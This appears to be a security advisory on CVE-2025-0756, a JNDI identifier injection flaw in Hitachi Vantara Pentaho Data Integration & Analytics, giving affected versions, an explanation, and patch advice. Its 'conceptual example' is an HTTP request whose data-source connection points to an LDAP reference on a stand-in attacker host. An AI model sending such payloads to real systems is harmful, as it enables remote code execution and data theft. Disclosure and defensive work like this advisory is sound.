Overview
CVE-2025-0756 is a significant cybersecurity vulnerability that affects Hitachi Vantara Pentaho Data Integration & Analytics versions prior to 10.2.0.2. This vulnerability arises from the product’s improper handling of Java Naming and Directory Interface (JNDI) identifiers, which can be exploited by attackers to gain unauthorized access to sensitive system resources or data. Given the prevalence of Pentaho’s data integration and analytics solutions across industries, this vulnerability has the potential to impact a wide range of organizations, emphasizing the critical need for prompt and effective mitigation.
Vulnerability Summary
CVE ID: CVE-2025-0756
Severity: Critical (9.1 CVSS v3 Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Hitachi Vantara Pentaho Data Integration | versions before 10.2.0.2, including 9.3.x and 8.3.x
Hitachi Vantara Pentaho Analytics | versions before 10.2.0.2, including 9.3.x and 8.3.x
How the Exploit Works
The vulnerability lies in the improper restriction of JNDI identifiers during the creation of platform data sources. An attacker can exploit this by sending a crafted request that includes a malicious JNDI reference. The target system, failing to appropriately restrict or validate the JNDI identifiers, treats it as a legitimate reference, potentially leading to access to protected files or directories, including configuration files and files containing sensitive information.
Conceptual Example Code
Here’s a conceptual example of a malicious request exploiting the vulnerability:
POST /platform/datasource HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<data-source>
<name>test</name>
<type>JNDI</type>
<connection>ldap://malicious.example.com/Exploit</connection>
</data-source>In this example, the `connection` element contains a malicious LDAP reference that could lead to unauthorized resource access or remote code execution.
Mitigation & Patch Information
Organizations running vulnerable versions of Hitachi Vantara Pentaho Data Integration & Analytics are advised to immediately apply the vendor-provided patch to upgrade their systems to version 10.2.0.2 or later. Alternatively, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. However, these are only stop-gap measures and may not provide complete protection against potential exploits.